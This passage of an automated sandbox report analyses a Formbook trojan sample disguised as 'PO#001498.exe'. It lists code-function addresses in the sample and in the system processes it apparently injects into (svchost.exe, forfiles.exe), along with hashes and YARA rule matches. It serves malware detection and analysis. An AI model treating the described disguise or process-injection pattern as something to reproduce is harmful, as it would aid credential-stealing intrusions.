            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0427A6280_2_0427A628
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004184E38_2_004184E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040E0338_2_0040E033
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004011608_2_00401160
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040196D8_2_0040196D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004019708_2_00401970
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004021E48_2_004021E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004021F08_2_004021F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00402A0B8_2_00402A0B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00402A108_2_00402A10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004043248_2_00404324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0042EBC38_2_0042EBC3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040FD918_2_0040FD91
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040FD938_2_0040FD93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004166CE8_2_004166CE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_004166D38_2_004166D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00402EE08_2_00402EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040FFB38_2_0040FFB3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E3F08_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039003E68_2_039003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FA3528_2_038FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C02C08_2_038C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E02748_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F41A28_2_038F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039001AA8_2_039001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F81CC8_2_038F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038301008_2_03830100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DA1188_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C81588_2_038C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D20008_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383C7C08_2_0383C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038647508_2_03864750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038407708_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385C6E08_2_0385C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039005918_2_03900591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038405358_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EE4F68_2_038EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E44208_2_038E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F24468_2_038F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F6BD78_2_038F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FAB408_2_038FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA808_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A08_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0390A9A68_2_0390A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038569628_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038268B88_2_038268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E8F08_2_0386E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384A8408_2_0384A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038428408_2_03842840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BEFA08_2_038BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03832FC88_2_03832FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384CFE08_2_0384CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03882F288_2_03882F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03860F308_2_03860F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E2F308_2_038E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B4F408_2_038B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03852E908_2_03852E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FCE938_2_038FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FEEDB8_2_038FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FEE268_2_038FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840E598_2_03840E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03858DBF8_2_03858DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383ADE08_2_0383ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384AD008_2_0384AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DCD1F8_2_038DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0CB58_2_038E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830CF28_2_03830CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840C008_2_03840C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0388739A8_2_0388739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F132D8_2_038F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382D34C8_2_0382D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038452A08_2_038452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385B2C08_2_0385B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E12ED8_2_038E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384B1B08_2_0384B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387516C8_2_0387516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382F1728_2_0382F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0390B16B8_2_0390B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EF0CC8_2_038EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038470C08_2_038470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F70E98_2_038F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FF0E08_2_038FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FF7B08_2_038FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F16CC8_2_038F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038856308_2_03885630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DD5B08_2_038DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039095C38_2_039095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F75718_2_038F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FF43F8_2_038FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038314608_2_03831460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385FB808_2_0385FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B5BF08_2_038B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387DBF98_2_0387DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FFB768_2_038FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DDAAC8_2_038DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03885AA08_2_03885AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E1AA38_2_038E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EDAC68_2_038EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FFA498_2_038FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F7A468_2_038F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B3A6C8_2_038B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D59108_2_038D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038499508_2_03849950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385B9508_2_0385B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038438E08_2_038438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AD8008_2_038AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03841F928_2_03841F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FFFB18_2_038FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03803FD28_2_03803FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03803FD58_2_03803FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FFF098_2_038FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03849EB08_2_03849EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385FDC08_2_0385FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03843D408_2_03843D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F1D5A8_2_038F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F7D738_2_038F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FFCF28_2_038FFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B9C328_2_038B9C32
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04811EAA11_2_04811EAA
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04813C5211_2_04813C52
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04813C5411_2_04813C54
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481A58F11_2_0481A58F
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_0481A59411_2_0481A594
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_048081E511_2_048081E5
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04832A8411_2_04832A84
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04811EF411_2_04811EF4
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeCode function: 11_2_04813E7411_2_04813E74
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C6E4F612_2_04C6E4F6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7244612_2_04C72446
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C6442012_2_04C64420
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C8059112_2_04C80591
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC053512_2_04BC0535
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BDC6E012_2_04BDC6E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BBC7C012_2_04BBC7C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC077012_2_04BC0770
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BE475012_2_04BE4750
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5200012_2_04C52000
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C781CC12_2_04C781CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C801AA12_2_04C801AA
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C741A212_2_04C741A2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C4815812_2_04C48158
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BB010012_2_04BB0100
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5A11812_2_04C5A118
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C402C012_2_04C402C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C6027412_2_04C60274
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C803E612_2_04C803E6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BCE3F012_2_04BCE3F0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7A35212_2_04C7A352
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BB0CF212_2_04BB0CF2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C60CB512_2_04C60CB5
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC0C0012_2_04BC0C00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BD8DBF12_2_04BD8DBF
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BBADE012_2_04BBADE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BCAD0012_2_04BCAD00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5CD1F12_2_04C5CD1F
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7EEDB12_2_04C7EEDB
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BD2E9012_2_04BD2E90
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7CE9312_2_04C7CE93
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7EE2612_2_04C7EE26
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC0E5912_2_04BC0E59
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BCCFE012_2_04BCCFE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C3EFA012_2_04C3EFA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BB2FC812_2_04BB2FC8
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C34F4012_2_04C34F40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BE0F3012_2_04BE0F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C02F2812_2_04C02F28
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C62F3012_2_04C62F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BA68B812_2_04BA68B8
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BEE8F012_2_04BEE8F0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC284012_2_04BC2840
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BCA84012_2_04BCA840
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC29A012_2_04BC29A0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C8A9A612_2_04C8A9A6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BD696212_2_04BD6962
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BBEA8012_2_04BBEA80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C76BD712_2_04C76BD7
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7AB4012_2_04C7AB40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BB146012_2_04BB1460
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7F43F12_2_04C7F43F
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C895C312_2_04C895C3
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5D5B012_2_04C5D5B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7757112_2_04C77571
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C716CC12_2_04C716CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C0563012_2_04C05630
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7F7B012_2_04C7F7B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C6F0CC12_2_04C6F0CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7F0E012_2_04C7F0E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C770E912_2_04C770E9
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC70C012_2_04BC70C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BCB1B012_2_04BCB1B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C8B16B12_2_04C8B16B
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BAF17212_2_04BAF172
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF516C12_2_04BF516C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC52A012_2_04BC52A0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C612ED12_2_04C612ED
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BDB2C012_2_04BDB2C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C0739A12_2_04C0739A
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7132D12_2_04C7132D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BAD34C12_2_04BAD34C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7FCF212_2_04C7FCF2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C39C3212_2_04C39C32
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BDFDC012_2_04BDFDC0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C71D5A12_2_04C71D5A
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C77D7312_2_04C77D73
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC3D4012_2_04BC3D40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC9EB012_2_04BC9EB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC1F9212_2_04BC1F92
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04B83FD212_2_04B83FD2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04B83FD512_2_04B83FD5
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7FFB112_2_04C7FFB1
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7FF0912_2_04C7FF09
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC38E012_2_04BC38E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C2D80012_2_04C2D800
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5591012_2_04C55910
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BC995012_2_04BC9950
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BDB95012_2_04BDB950
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C6DAC612_2_04C6DAC6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C05AA012_2_04C05AA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C61AA312_2_04C61AA3
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C5DAAC12_2_04C5DAAC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C77A4612_2_04C77A46
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7FA4912_2_04C7FA49
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C33A6C12_2_04C33A6C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C35BF012_2_04C35BF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BDFB8012_2_04BDFB80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BFDBF912_2_04BFDBF9
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04C7FB7612_2_04C7FB76
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CC1CD012_2_02CC1CD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CBAEB012_2_02CBAEB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CBCE3012_2_02CBCE30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CBCC0E12_2_02CBCC0E
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CBCC1012_2_02CBCC10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CC536012_2_02CC5360
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CB11A112_2_02CB11A1
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CC354B12_2_02CC354B
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CC355012_2_02CC3550
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CDBA4012_2_02CDBA40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7E44312_2_04A7E443
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7E7DD12_2_04A7E7DD
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7E32412_2_04A7E324
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7E30412_2_04A7E304
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7D84812_2_04A7D848
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04A7E96C12_2_04A7E96C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03887E54 appears 111 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B970 appears 277 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038BF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03875130 appears 58 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04C3F290 appears 105 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04BAB970 appears 277 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04C2EA12 appears 86 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04BF5130 appears 58 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04C07E54 appears 111 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0040E6D0 appears 35 times
            Source: PO#001498.exe, 00000000.00000003.1306635256.000000000497D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO#001498.exe
            Source: PO#001498.exe, 00000000.00000003.1306440239.00000000047D3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO#001498.exe
            Source: PO#001498.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
